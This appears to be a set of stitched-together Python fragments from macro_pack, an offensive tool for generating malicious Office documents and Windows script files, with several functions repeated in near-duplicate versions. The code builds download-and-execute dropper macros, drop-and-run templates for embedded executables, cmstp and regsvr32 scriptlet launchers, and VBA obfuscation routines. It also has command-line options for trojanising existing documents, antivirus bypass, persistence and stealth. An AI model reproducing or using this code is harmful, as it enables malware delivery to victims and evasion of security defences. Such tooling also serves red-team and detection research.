def _processEmbedExeTemplate(self):
# open file containing template values
cmdFile = self.getCMDFile()
if cmdFile is None or cmdFile == "":
extractedFilePath = utils.randomAlpha(5)+os.path.splitext(self.mpSession.embeddedFilePath)[1]
else:
f = open(cmdFile, 'r')
params = shlex.split(f.read())
extractedFilePath = params[0]
f.close()
logging.info(" [-] Output path when file is extracted: %s" % extractedFilePath)
content = vbLib.templates.EMBED_EXE
content = content.replace("<<<OUT_FILE>>>", extractedFilePath)
#top + next + then1 + sub_proc+ sub_open
# generate random file name
vbaFile = os.path.abspath(os.path.join(self.workingPath,utils.randomAlpha(9)+".vba"))
logging.info(" [-] Template %s VBA generated in %s" % (self.template, vbaFile))
# Write in new file
f = open(vbaFile, 'w')
f.write(content)
f.close()
if os.path.isfile(cmdFile):
os.remove(cmdFile)
logging.info(" [-] OK!")
def run(self):
logging.info(" [+] VBA strings obfuscation ...")
for vbaFile in self.getVBAFiles():
# Compute new random function and variable names for HexToStr
newFunctionName = randomAlpha(12)
newVarName1 = randomAlpha(12)
newVarName2 = randomAlpha(12)
f = open(vbaFile)
content = f.readlines()
f.close()
# Split string
content = self._splitStrings(content)
# mask string
content = self._maskStrings(content, newFunctionName)
# Write in new file
f = open(vbaFile, 'w')
f.writelines(content)
f.write(
self.hexToStringRoutine.replace(
"HexToStr", newFunctionName).replace(
"counter",
newVarName1).replace("hexString", newVarName2))
f.close()
logging.info(" [-] OK!")
def generate(self):
logging.info(" [+] Generating %s file..." % self.outputFileType)
# Fill template
infContent = INF_TEMPLATE
if not self.mpSession.dosCommand:
if str(self.targetPath).lower().endswith(".dll"):
logging.info(" [-] Target is DLL...")
# Ex to generate calc launching dll (OCX payload for 64bit PC:
# msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll
infContent = infContent.replace("<<<TARGET_PATH>>>",
"%s" % self.targetPath)
infContent = infContent.replace("<<<SECTION_TYPE>>>",
"UnRegisterOCXs")
elif str(self.targetPath).lower().endswith(".sct"):
logging.info(" [-] Target is Scriptlet file...")
infContent = infContent.replace(
"<<<TARGET_PATH>>>",
"%%11%%\\scrobj.dll,NI,%s" % self.targetPath)
infContent = infContent.replace("<<<SECTION_TYPE>>>",
"UnRegisterOCXs")
elif str(self.targetPath).lower().endswith(".exe"):
logging.info(" [-] Target is exe file...")
infContent = infContent.replace("<<<TARGET_PATH>>>",
self.targetPath)
infContent = infContent.replace("<<<SECTION_TYPE>>>",
"RunPreSetupCommands")
else:
logging.warn(
" [!] Could not recognize extension, assuming executable file or command line."
)
infContent = infContent.replace("<<<TARGET_PATH>>>",
self.mpSession.dosCommand)
infContent = infContent.replace("<<<SECTION_TYPE>>>",
"RunPreSetupCommands")
else:
logging.warn(" [-] Target is command line.")
infContent = infContent.replace("<<<TARGET_PATH>>>",
self.mpSession.dosCommand)
infContent = infContent.replace("<<<SECTION_TYPE>>>",
"RunPreSetupCommands")
# Randomize mandatory info
infContent = infContent.replace("<<<SECTION_NAME>>>", randomAlpha(8))
infContent = infContent.replace("<<<SERVICE_NAME>>>", randomAlpha(8))
# Write in new file
f = open(self.outputFilePath, 'w')
f.writelines(infContent)
f.close()
logging.info(" [-] Generated %s file path: %s" %
(self.outputFileType, self.outputFilePath))
logging.info(" [-] Test with : cmstp.exe /ns /s %s\n" %
self.outputFilePath)
def testVBGenerators():
"""
will run test of MS Office and VBS based formats
The tests consist into creating the documents, then running them triggering a file creation macro. Then checking the file is well created
The tests are run in both cleartext and obfuscated mode.
A third test will check the correct generation of CMD template (pop calc.exe and check it)
"""
result = True
vbaTestFile = "testmacro.vba"
logging.info(" [+] Build macro test file...")
with open(vbaTestFile, 'w') as outfile:
outfile.write(VBA)
for testFormat in MSTypes.VB_FORMATS:
testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
try:
_clearTextVBGenerationTest(testFile, testFormat)
except:
result = False
testSummary[testFormat + " in Clear Text"] = "[KO]"
logging.exception(" [!] Error!\n")
if os.path.isfile(testFile):
os.remove(testFile)
testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
try:
_obfuscatedVBGenerationTest(testFile, testFormat)
except:
result = False
testSummary[testFormat + " obfuscated"] = "[KO]"
logging.exception(" [!] Error!\n")
if os.path.isfile(testFile):
os.remove(testFile)
testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
try:
_obfuscatedVBCmdTemplateGenerationTest(testFile, testFormat)
except:
result = False
testSummary[testFormat + " CMD template"] = "[KO]"
logging.exception(" [!] Error!\n")
try:
if os.path.isfile(testFile):
os.remove(testFile)
except:
logging.exception(" [!] Error while attempting to remove %s!\n" %
testFile)
os.remove(vbaTestFile)
return result
def generate(self):
logging.info(" [+] Generating %s file..." % self.outputFileType)
self.vbScriptConvert()
f = open(self.getMainVBAFile() + ".vbs")
vbsContent = f.read()
f.close()
vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ")
# Write VBS in template
sctContent = SCT_TEMPLATE
sctContent = sctContent.replace("<<<random>>>", randomAlpha(8))
sctContent = sctContent.replace("<<<CLS1>>>", ''.join([
random.choice('0123456789ABCDEF') for x in range(8)
])) # @UnusedVariable
sctContent = sctContent.replace("<<<CLS4>>>", ''.join([
random.choice('0123456789ABCDEF') for x in range(12)
])) # @UnusedVariable
sctContent = sctContent.replace("<<<VBS>>>", vbsContent)
sctContent = sctContent.replace("<<<MAIN>>>", self.startFunction)
# Write in new HTA file
f = open(self.outputFilePath, 'w')
f.writelines(sctContent)
f.close()
logging.info(" [-] Generated Scriptlet file: %s" %
self.outputFilePath)
logging.info(
" [-] Test with : \nregsvr32 /u /n /s /i:%s scrobj.dll\n" %
self.outputFilePath)
if os.path.getsize(self.outputFilePath) > (1024 * 512):
logging.warning(
" [!] Warning: The resulted %s file seems to be bigger than 512k, it will probably not work!"
% self.outputFileType)
def _processEmbedExeTemplate(self):
""" Drop and execute embedded file """
paramArray = [MPParam("Command line parameters", optional=True)]
self.fillInputParams2(paramArray)
# generate random file name
fileName = utils.randomAlpha(7) + os.path.splitext(
self.mpSession.embeddedFilePath)[1]
logging.info(" [-] File extraction path: %%temp%%\\%s" % fileName)
# Add required functions
self.addVBLib(vbLib.WscriptExec)
self.addVBLib(vbLib.WmiExec)
self.addVBLib(vbLib.ExecuteCMDAsync)
content = vbLib.templates.EMBED_EXE
content = content.replace("<<<FILE_NAME>>>", fileName)
if getParamValue(paramArray, "Command line parameters") != "":
content = content.replace(
"<<<PARAMETERS>>>", " & \" %s\"" %
getParamValue(paramArray, "Command line parameters"))
else:
content = content.replace("<<<PARAMETERS>>>", "")
vbaFile = self.addVBAModule(content)
logging.debug(" [-] Template %s VBA generated in %s" %
(self.template, vbaFile))
logging.info(" [-] OK!")
def _replaceConsts(self, macroLines):
# Identify and replace constants
constList = ["0", "1", "2"]
for constant in constList:
# Create random string to replace constant
keyTmp = randomAlpha(10)
constDeclaration = "Const " + keyTmp + " = " + constant + "\n"
macroLines.insert(0, constDeclaration)
newKeyWord = " " + keyTmp + ", "
keywordTmp = " " + constant + ", "
for n, line in enumerate(macroLines):
macroLines[n] = line.replace(keywordTmp, newKeyWord)
newKeyWord = "," + keyTmp + ","
keywordTmp = "," + constant + ","
for n, line in enumerate(macroLines):
macroLines[n] = line.replace(keywordTmp, newKeyWord)
newKeyWord = ", " + keyTmp + ")"
keywordTmp = ", " + constant + ")"
for n, line in enumerate(macroLines):
macroLines[n] = line.replace(keywordTmp, newKeyWord)
newKeyWord = "(" + keyTmp + ","
keywordTmp = "(" + constant + ","
for n, line in enumerate(macroLines):
macroLines[n] = line.replace(keywordTmp, newKeyWord)
return macroLines
def _processDropper2Template(self):
""" Generate DROPPER2 template for VBA and VBS based """
# Get required parameters
realPathKey = "File name in TEMP or full file path (environment variables can be used)."
paramArray = [
MPParam("target_url"),
MPParam(realPathKey, optional=True)
]
self.fillInputParams2(paramArray)
downloadPath = getParamValue(paramArray, realPathKey)
targetUrl = getParamValue(paramArray, "target_url")
# build target path
if downloadPath == "":
downloadPath = utils.randomAlpha(8) + os.path.splitext(
targetUrl)[1]
downloadPath = self._targetPathToVba(downloadPath)
# Add required functions
self.addVBLib(vbLib.WscriptExec)
self.addVBLib(vbLib.WmiExec)
self.addVBLib(vbLib.ExecuteCMDAsync)
content = vbLib.templates.DROPPER2
content = content.replace("<<<URL>>>", targetUrl)
content = content.replace("<<<DOWNLOAD_PATH>>>", downloadPath)
# generate random file name
vbaFile = self.addVBAModule(content)
logging.debug(" [-] Template %s VBA generated in %s" %
(self.template, vbaFile))
logging.info(" [-] OK!")
def generate(self):
logging.info(" [+] Generating %s file..." % self.outputFileType)
self.vbScriptConvert()
f = open(self.getMainVBAFile() + ".vbs")
vbsContent = f.read()
f.close()
#vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ")
# Write VBS in template
wsfContent = WSF_TEMPLATE
wsfContent = wsfContent.replace("<<<random>>>", randomAlpha(8))
wsfContent = wsfContent.replace("<<<VBS>>>", vbsContent)
wsfContent = wsfContent.replace("<<<MAIN>>>", self.startFunction)
# Write in new HTA file
f = open(self.outputFilePath, 'w')
f.writelines(wsfContent)
f.close()
logging.info(" [-] Generated Windows Script File: %s" %
self.outputFilePath)
logging.info(" [-] Test with : \nwscript %s\n" % self.outputFilePath)
if os.path.getsize(self.outputFilePath) > (1024 * 512):
logging.warning(
" [!] Warning: The resulted %s file seems to be bigger than 512k, it will probably not work!"
% self.outputFileType)
def addVBAModule(self, moduleContent):
""" Add a new VBA module file containing moduleContent and with random name """
newModuleName = os.path.join(self.workingPath,
utils.randomAlpha(9) + ".vba")
f = open(newModuleName, 'w')
f.write(moduleContent)
f.close()
def _injectCustomUi(self):
customUIfile = utils.randomAlpha(8)+".xml" # Generally something like customUI.xml
customUiContent = \
"""<customUI xmlns="http://schemas.microsoft.com/office/2006/01/customui" onLoad="AutoOpen" ></customUI>"""
relationShipContent = \
"""<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/thumbnail" Target="docProps/thumbnail.jpeg"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="%s" Type="http://schemas.microsoft.com/office/2007/relationships/ui/extensibility" Target="/customUI/%s" /></Relationships>""" \
% ("rId5", customUIfile)
generatedFile = self.outputFilePath
# 0 copy file to temp dir
fileCopy = shutil.copy2(generatedFile, self.workingPath)
# 1 extract zip file in temp working dir
zipDir = os.path.join(self.workingPath, "zip")
zipTest = ZipFile(fileCopy)
zipTest.extractall(zipDir)
# 2 Set customUi
customUiDir = os.path.join(zipDir, "customUI")
if not os.path.exists(customUiDir):
os.makedirs(customUiDir)
customUiFile = os.path.join(customUiDir, customUIfile)
with open (customUiFile, "w") as f:
f.write(customUiContent)
# 3 Set relationships
relsFile = os.path.join(zipDir, "_rels", ".rels")
with open (relsFile, "w") as f:
f.write(relationShipContent)
# 3 Recreate archive
shutil.make_archive(os.path.join(self.workingPath,"rezipped_archive"), format="zip", root_dir=os.path.join(self.workingPath, "zip"))
# 4 replace file
os.remove(generatedFile)
shutil.copy2(os.path.join(self.workingPath,"rezipped_archive.zip"), generatedFile)
def genSCT(self):
logging.info(" [-] Generating Scriptlet file...")
f = open(self.getMainVBAFile() + ".vbs")
vbsContent = f.read()
f.close()
vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ")
# Write VBS in template
sctContent = SCT_TEMPLATE
sctContent = sctContent.replace("<<<random>>>", randomAlpha(8))
sctContent = sctContent.replace(
"<<<CLS1>>>",
''.join([random.choice('0123456789ABCDEF') for x in range(8)]))
sctContent = sctContent.replace(
"<<<CLS4>>>",
''.join([random.choice('0123456789ABCDEF') for x in range(12)]))
sctContent = sctContent.replace("<<<VBS>>>", vbsContent)
sctContent = sctContent.replace("<<<MAIN>>>", self.startFunction)
# Write in new HTA file
f = open(self.outputFilePath, 'w')
f.writelines(sctContent)
f.close()
logging.info(" [-] Generated Scriptlet file: %s" %
self.outputFilePath)
def _replaceFunctions(self, macroLines):
# Identify function, subs and variables names
logging.info(" [-] Rename functions...")
keyWords = []
for line in macroLines:
matchObj = re.match(
r'.*(Sub|Function)\s*([a-zA-Z0-9_]+)\s*\(.*\).*', line,
re.M | re.I)
if matchObj:
keyword = matchObj.groups()[1]
if keyword not in self.reservedFunctions:
keyWords.append(keyword)
self.reservedFunctions.append(keyword)
# Replace functions and function calls by random string
for keyWord in keyWords:
keyTmp = randomAlpha(randint(
8, 20)) # Generate random names with random size
for n, line in enumerate(macroLines):
matchObj = re.match(r'.*".*%s.*".*' % keyWord, line, re.M
| re.I) # check if word is inside a string
if matchObj:
if "Application.Run" in line: # dynamic function call detected
macroLines[n] = line.replace(keyWord, keyTmp)
# else word is part of normal string so we do not touch
else:
macroLines[n] = line.replace(keyWord, keyTmp)
return macroLines
def _replaceLibImports(self, macroLines):
# Identify function, subs and variables names
keyWords = []
for line in macroLines:
matchObj = re.match(
r'.*(Sub|Function)\s*([a-zA-Z0-9_]+)\s*Lib\s*"(.+)"\s*.*',
line, re.M | re.I)
if matchObj:
keyword = matchObj.groups()[1]
keyWords.append(keyword)
# Remove duplicates
keyWords = list(set(keyWords))
# Replace functions and function calls by random string
for keyWord in keyWords:
keyTmp = randomAlpha(randint(
8, 20)) # Generate random names with random size
#logging.debug("Keyword:%s,keyTmp:%s "%(keyWord,keyTmp))
for n, line in enumerate(macroLines):
if "Lib " in line and keyWord + " " in line: # take care of declaration
if "Alias " in line: # if fct already has an alias we can change the original keyword
#logging.debug(line)
macroLines[n] = line.replace(" %s " % keyWord,
" %s " % keyTmp, 1)
#logging.debug(macroLines[n])
else:
# We have to create a new alias
matchObj = re.match(
r'.*(Sub|Function)\s*([a-zA-Z0-9_]+)\s*Lib\s*"(.+)"(\s*).*',
line, re.M | re.I)
#logging.debug(line)
line = line.replace(" %s " % keyWord, " %s " % keyTmp)
#logging.debug(line+"\n")
macroLines[n] = line.replace(
matchObj.groups()[2],
matchObj.groups()[2] + "\" Alias \"%s" % keyWord)
else:
matchObj = re.match(
r'.*".*%s.*".*' % keyWord, line,
re.M | re.I) # check if word is inside a string
if matchObj:
if "Application.Run" in line: # dynamic function call detected
macroLines[n] = line.replace(keyWord, keyTmp)
# else word is part of normal string so we do not touch
else:
if keyWord + " " in line or keyWord + "(" in line:
#logging.debug(line)
macroLines[n] = line.replace(keyWord, keyTmp)
#logging.debug(macroLines[n])
#else:
# macroLines[n] = line.replace(keyWord, keyTmp)
return macroLines
def addVBAModule(self, moduleContent, moduleName=None):
"""
Add a new VBA module file containing moduleContent and with random name
Returns name of new VBA file
"""
if moduleName is None:
moduleName = utils.randomAlpha(9)
modulePath = os.path.join(self.workingPath, moduleName + ".vba")
else:
modulePath = os.path.join(self.workingPath,
utils.randomAlpha(9) + ".vba")
if moduleName in self.mpSession.vbModulesList:
logging.debug(" [,] %s module already loaded" % moduleName)
else:
self.mpSession.vbModulesList.append(moduleName)
f = open(modulePath, 'w')
f.write(moduleContent)
f.close()
return modulePath
def _fillGenericTemplate(self, content, values):
for value in values:
content = content.replace("<<<TEMPLATE>>>", value, 1)
# generate random file name
vbaFile = os.path.abspath(os.path.join(self.workingPath,utils.randomAlpha(9)+".vba"))
logging.info(" [-] Template %s VBA generated in %s" % (self.template, vbaFile))
# Write in new file
f = open(vbaFile, 'w')
f.write(content)
f.close()
def _replaceFunctions(self):
# Identify function, subs and variables names
self._findAllFunctions()
# Different situation surrounding variables
varDelimitors = [(" ", " "), ("\t", " "), ("\t", "("), ("\t", " ="),
(" ", "("), ("(", "("), (" ", "\n"), (" ", ","),
(" ", " ="), (".", " "), (".", "\"")]
# Replace functions and function calls by random string
for keyWord in self.vbaFunctions:
keyTmp = randomAlpha(randint(
8, 20)) # Generate random names with random size
self.reservedFunctions.append(keyTmp)
for vbaFile in self.getVBAFiles():
if self.mpSession.obfOnlyMain:
if vbaFile != self.getMainVBAFile():
continue
f = open(vbaFile)
content = f.readlines()
f.close()
for varDelimitor in varDelimitors:
newKeyWord = varDelimitor[0] + keyTmp + varDelimitor[1]
keywordTmp = varDelimitor[0] + keyWord + varDelimitor[1]
for n, line in enumerate(content):
#if "GetBuffer" in line:
#if keyWord == "StrEncoder":
#logging.info("|%s|->|%s|" %(keywordTmp,newKeyWord))
#if keywordTmp in line:
# logging.info("line: %s" % (line))
# logging.info("Found %s, new keyword will be %s" % (keywordTmp,newKeyWord))
extractedStrings = extractStringsFromText(line)
#if extractedStrings != "":
# logging.info(extractedStrings)
"""
matchObj = re.match( r'.*".*%s.*".*' %keyWord, line, re.M|re.I) # check if word is inside a string
if matchObj:"""
if keyWord in extractedStrings:
if "Application.Run" in line or "Application.OnTime" in line: # dynamic function call detected
content[n] = line.replace(
keywordTmp, newKeyWord)
else:
content[n] = line.replace(keywordTmp, newKeyWord)
# Write in new file
f = open(vbaFile, 'w')
f.writelines(content)
f.close()
def run(self):
logging.info(" [+] Prepare %s file generation..." %
self.outputFileType)
if not self.check():
return
# Embed file if asked
if self.embeddedFilePath:
idTag = utils.randomAlpha(10)
self.embedFile(idTag)
self.runObfuscators()
self.generate()
def _replaceVariables(self, macroLines):
logging.info(" [-] Rename variables...")
# variables names
keyWords = []
# format something As ...
for line in macroLines:
findList = re.findall(
r'([a-zA-Z0-9_]+)\s+As\s+(String|Integer|Long|Object|Byte|Variant|Boolean|Any|Word.Application|Excel.Application)',
line, re.I)
if findList:
for keyWord in findList:
if keyWord[
0] not in self.reservedFunctions: # prevent erase of previous variables and function names
keyWords.append(keyWord[0])
self.reservedFunctions.append(keyWord[0])
# format Set <something> = ...
for line in macroLines:
findList = re.findall(r'Set\s+([a-zA-Z0-9]+)\s+=', line, re.I)
if findList:
for keyWord in findList:
if keyWord not in self.reservedFunctions: # prevent erase of previous variables and function names
keyWords.append(keyWord)
self.reservedFunctions.append(keyWord)
#logging.info(str(keyWords))
# Different situation surrounding variables
varDelimitors = [(" ", " "), (" ", "."), (" ", "("), (" ", "\n"),
(" ", ","), (" ", ")"), (" ", " =")]
varDelimitors.extend([("\t", " "), ("\t", "."), ("\t", "("),
("\t", "\n"), ("\t", ","), ("\t", ")"),
("\t", " =")])
varDelimitors.extend([("(", ")"), ("(", ","), ("(", " +"),
("(", " As"), ("(", ".")])
varDelimitors.extend([("=", " "), ("=", ","), ("=", "\n"),
("Set ", " =")])
# replace all keywords by random name
for keyWord in keyWords:
keyTmp = randomAlpha(randint(
8, 20)) # Generate random names with random size
#logging.info("|%s|->|%s|" %(keyWord,keyTmp))
for varDelimitor in varDelimitors:
newKeyWord = varDelimitor[0] + keyTmp + varDelimitor[1]
keywordTmp = varDelimitor[0] + keyWord + varDelimitor[1]
for n, line in enumerate(macroLines):
macroLines[n] = line.replace(keywordTmp, newKeyWord)
return macroLines
def _processEmbedExeTemplate(self):
""" Drop and execute embedded file """
# generate random file name
fileName = utils.randomAlpha(7) + os.path.splitext(
self.mpSession.embeddedFilePath)[1]
logging.info(" [-] File extraction path: %%temp%%\\%s" % fileName)
# Add required functions
self.addVBLib(vbLib.WscriptExec)
self.addVBLib(vbLib.WmiExec)
self.addVBLib(vbLib.ExecuteCMDAsync)
content = vbLib.templates.EMBED_EXE
content = content.replace("<<<FILE_NAME>>>", fileName)
vbaFile = self.addVBAModule(content)
logging.debug(" [-] Template %s VBA generated in %s" %
(self.template, vbaFile))
logging.info(" [-] OK!")
def testLnkGenerators():
result = True
for testFormat in MSTypes.Shortcut_FORMATS:
testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
try:
logging.info(" [+] Testing generation of %s file..." % testFormat)
os.system("echo shortcut_dest icon_file  | %s %s -G %s -q" %
(sys.executable, MP_MAIN, testFile))
assert (os.path.isfile(testFile))
logging.info(" [-] Success!\n")
testSummary[testFormat] = "[OK]"
except:
result = False
testSummary[testFormat] = "[KO]"
logging.exception(" [!] Error!\n")
if os.path.isfile(testFile):
os.remove(testFile)
return result
def _processEmbedExeTemplate(self):
# open file containing template values
cmdFile = self.getCMDFile()
if cmdFile is None or cmdFile == "":
extractedFilePath = utils.randomAlpha(5)+os.path.splitext(self.mpSession.embeddedFilePath)[1]
else:
f = open(cmdFile, 'r')
params = shlex.split(f.read())
extractedFilePath = params[0]
f.close()
logging.info(" [-] Output path when file is extracted: %s" % extractedFilePath)
content = vbLib.templates.EMBED_EXE
content = content.replace("<<<OUT_FILE>>>", extractedFilePath)
vbaFile = self.addVBAModule(content)
logging.info(" [-] Template %s VBA generated in %s" % (self.template, vbaFile))
if os.path.isfile(cmdFile):
os.remove(cmdFile)
logging.info(" [-] OK!")
def _replaceFunctions(self):
# Identify function, subs and variables names
logging.info(" [-] Rename functions...")
self._findAllFunctions()
# Different situation surrounding variables
varDelimitors = [(" ", " "), ("\t", " "), ("\t", "("), (" ", "("),
(" ", "\n"), (" ", ","), (" ", " ="), (".", " "),
(".", "\"")]
# Replace functions and function calls by random string
for keyWord in self.vbaFunctions:
keyTmp = randomAlpha(randint(
8, 20)) # Generate random names with random size
#logging.info("|%s|->|%s|" %(keyWord,keyTmp))
self.reservedFunctions.append(keyTmp)
for vbaFile in self.getVBAFiles():
f = open(vbaFile)
content = f.readlines()
f.close()
for varDelimitor in varDelimitors:
newKeyWord = varDelimitor[0] + keyTmp + varDelimitor[1]
keywordTmp = varDelimitor[0] + keyWord + varDelimitor[1]
for n, line in enumerate(content):
matchObj = re.match(
r'.*".*%s.*".*' % keyWord, line,
re.M | re.I) # check if word is inside a string
if matchObj:
if "Application.Run" in line: # dynamic function call detected
content[n] = line.replace(
keywordTmp, newKeyWord)
else:
content[n] = line.replace(keywordTmp, newKeyWord)
# Write in new file
f = open(vbaFile, 'w')
f.writelines(content)
f.close()
def generate(self):
logging.info(" [+] Generating %s file..." % self.outputFileType)
self.vbScriptConvert()
f = open(self.getMainVBAFile() + ".vbs")
vbsContent = f.read()
f.close()
#vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ")
# Write VBS in template
wsfContent = WSF_TEMPLATE
wsfContent = wsfContent.replace("<<<random>>>", randomAlpha(8))
wsfContent = wsfContent.replace("<<<VBS>>>", vbsContent)
wsfContent = wsfContent.replace("<<<MAIN>>>", self.startFunction)
# Write in new HTA file
f = open(self.outputFilePath, 'w')
f.writelines(wsfContent)
f.close()
logging.info(" [-] Generated Windows Script File: %s" %
self.outputFilePath)
logging.info(" [-] Test with : \nwscript %s\n" % self.outputFilePath)
def main(argv):
logLevel = "INFO"
# initialize macro_pack session object
mpSession = mp_session.MpSession(WORKING_DIR, VERSION, MP_TYPE)
try:
longOptions = [
"embed=", "listen=", "generate=", "quiet", "input-file=", "encode",
"obfuscate", "obfuscate-form", "obfuscate-names",
"obfuscate-strings", "file=", "template=", "start-function=", "dde"
]
shortOptions = "e:l:s:f:t:G:hqmo"
# only for Pro release
if MP_TYPE == "Pro":
longOptions.extend([
"vbom-encode", "persist", "keep-alive", "av-bypass", "trojan=",
"stealth", "dcom=", "background"
])
shortOptions += "T:b"
# Only enabled on windows
if sys.platform == "win32":
longOptions.extend(["run="])
opts, args = getopt.getopt(argv, shortOptions,
longOptions) # @UnusedVariable
except getopt.GetoptError:
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(2)
for opt, arg in opts:
if opt in ("-o", "--obfuscate"):
mpSession.obfuscateForm = True
mpSession.obfuscateNames = True
mpSession.obfuscateStrings = True
elif opt == "--obfuscate-form":
mpSession.obfuscateForm = True
elif opt == "--obfuscate-names":
mpSession.obfuscateNames = True
elif opt == "--obfuscate-strings":
mpSession.obfuscateStrings = True
elif opt == "-s" or opt == "--start-function":
mpSession.startFunction = arg
elif opt == "-l" or opt == "--listen":
mpSession.listen = True
mpSession.listenPort = int(arg)
elif opt == "-f" or opt == "--input-file":
mpSession.vbaInput = arg
elif opt == "-e" or opt == "--embed":
mpSession.embeddedFilePath = os.path.abspath(arg)
elif opt == "-t" or opt == "--template":
if arg is None or arg.startswith(
"-") or arg == "help" or arg == "HELP":
help.printTemplatesUsage(BANNER, sys.argv[0])
sys.exit(0)
else:
mpSession.template = arg
elif opt == "-q" or opt == "--quiet":
logLevel = "ERROR"
elif opt == "--dde":
if sys.platform == "win32":
mpSession.ddeMode = True
elif opt == "--run":
if sys.platform == "win32":
mpSession.runTarget = os.path.abspath(arg)
elif opt in ("-G", "--generate"):
mpSession.outputFilePath = os.path.abspath(arg)
elif opt == "-h" or opt == "--help":
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(0)
else:
if MP_TYPE == "Pro":
if opt == "--vbom-encode":
mpSession.vbomEncode = True
elif opt == "--persist":
mpSession.persist = True
elif opt == "--keep-alive":
mpSession.keepAlive = True
elif opt == "--av-bypass":
mpSession.avBypass = True
elif opt == "-T" or opt == "--trojan":
# Document generation enabled only on windows
if sys.platform == "win32":
mpSession.outputFilePath = os.path.abspath(arg)
mpSession.trojan = True
elif opt == "-b" or opt == "--background":
mpSession.background = True
elif opt == "--stealth":
mpSession.stealth = True
elif opt == "--dcom":
mpSession.dcom = True
mpSession.dcomTarget = arg
else:
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(0)
else:
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(0)
os.system('cls' if os.name == 'nt' else 'clear')
# Logging
logging.basicConfig(level=getattr(logging, logLevel),
format="%(message)s",
handlers=[utils.ColorLogFiler()])
logging.info(colored(BANNER, 'green'))
logging.info(" [+] Preparations...")
# check input args
if mpSession.vbaInput is None:
# Argument not supplied, try to get file content from stdin
if os.isatty(0) == False: # check if something is being piped
logging.info(" [-] Waiting for piped input feed...")
mpSession.stdinContent = sys.stdin.readlines()
else:
if not os.path.isfile(mpSession.vbaInput):
logging.error(" [!] ERROR: Could not find %s!" %
mpSession.vbaInput)
sys.exit(2)
else:
logging.info(" [-] Input file path: %s" % mpSession.vbaInput)
if mpSession.trojan == False:
# verify that output file does not already exist
if mpSession.outputFilePath is not None:
if os.path.isfile(mpSession.outputFilePath):
logging.error(" [!] ERROR: Output file %s already exist!" %
mpSession.outputFilePath)
sys.exit(2)
else:
# In trojan mod, file are tojane if they already exist and created if they dont.
# except for vba output which is not concerned by trojan feature
if mpSession.outputFilePath is not None and mpSession.outputFileType == MSTypes.VBA:
if mpSession.outputFilePath is not None:
if os.path.isfile(mpSession.outputFilePath):
logging.error(
" [!] ERROR: Output file %s already exist!" %
mpSession.outputFilePath)
sys.exit(2)
#Create temporary folder
logging.info(" [-] Temporary working dir: %s" % WORKING_DIR)
if not os.path.exists(WORKING_DIR):
os.makedirs(WORKING_DIR)
try:
# Create temporary work file.
if mpSession.ddeMode or mpSession.template:
inputFile = os.path.join(WORKING_DIR, "command.cmd")
else:
inputFile = os.path.join(WORKING_DIR,
utils.randomAlpha(9)) + ".vba"
if mpSession.stdinContent is not None:
logging.info(" [-] Store std input in file...")
f = open(inputFile, 'w')
f.writelines(mpSession.stdinContent)
f.close()
else:
# Create temporary work file
if mpSession.vbaInput is not None:
logging.info(" [-] Store input file...")
shutil.copy2(mpSession.vbaInput, inputFile)
if os.path.isfile(inputFile):
logging.info(" [-] Temporary input file: %s" % inputFile)
# Check output file format
if mpSession.outputFilePath:
logging.info(" [-] Target output format: %s" %
mpSession.outputFileType)
# Generate template
if mpSession.template:
if MP_TYPE == "Pro":
generator = TemplateGeneratorPro(mpSession)
generator.run()
else:
generator = TemplateToVba(mpSession)
generator.run()
# MS Office generation/trojan is only enabled on windows
if sys.platform == "win32":
if mpSession.stealth == True:
# Add a new empty module to keep VBA library if we hide other modules
# See http://seclists.org/fulldisclosure/2017/Mar/90
genericModule = mp_module.MpModule(mpSession)
genericModule.addVBAModule("")
if mpSession.trojan == False:
if MSTypes.XL in mpSession.outputFileType:
generator = ExcelGenerator(mpSession)
generator.run()
elif MSTypes.WD in mpSession.outputFileType:
generator = WordGenerator(mpSession)
generator.run()
elif MSTypes.PPT in mpSession.outputFileType:
generator = PowerPointGenerator(mpSession)
generator.run()
elif MSTypes.MPP == mpSession.outputFileType:
generator = MSProjectGenerator(mpSession)
generator.run()
elif MSTypes.VSD in mpSession.outputFileType:
generator = VisioGenerator(mpSession)
generator.run()
elif MSTypes.PUB == mpSession.outputFileType and MP_TYPE == "Pro":
generator = PublisherGenerator(mpSession)
generator.run()
else:
if MSTypes.XL in mpSession.outputFileType:
if os.path.isfile(mpSession.outputFilePath):
generator = ExcelTrojan(mpSession)
generator.run()
else:
generator = ExcelGenerator(mpSession)
generator.run()
if MSTypes.WD in mpSession.outputFileType:
if os.path.isfile(mpSession.outputFilePath):
generator = WordTrojan(mpSession)
generator.run()
else:
generator = WordGenerator(mpSession)
generator.run()
if MSTypes.PPT in mpSession.outputFileType:
if os.path.isfile(mpSession.outputFilePath):
generator = PptTrojan(mpSession)
generator.run()
else:
generator = PowerPointGenerator(mpSession)
generator.run()
if MSTypes.VSD in mpSession.outputFileType:
if os.path.isfile(mpSession.outputFilePath):
generator = VisioTrojan(mpSession)
generator.run()
else:
generator = VisioGenerator(mpSession)
generator.run()
if MSTypes.MPP in mpSession.outputFileType:
if os.path.isfile(mpSession.outputFilePath):
generator = MsProjectTrojan(mpSession)
generator.run()
else:
generator = MSProjectGenerator(mpSession)
generator.run()
if mpSession.stealth == True:
obfuscator = Stealth(mpSession)
obfuscator.run()
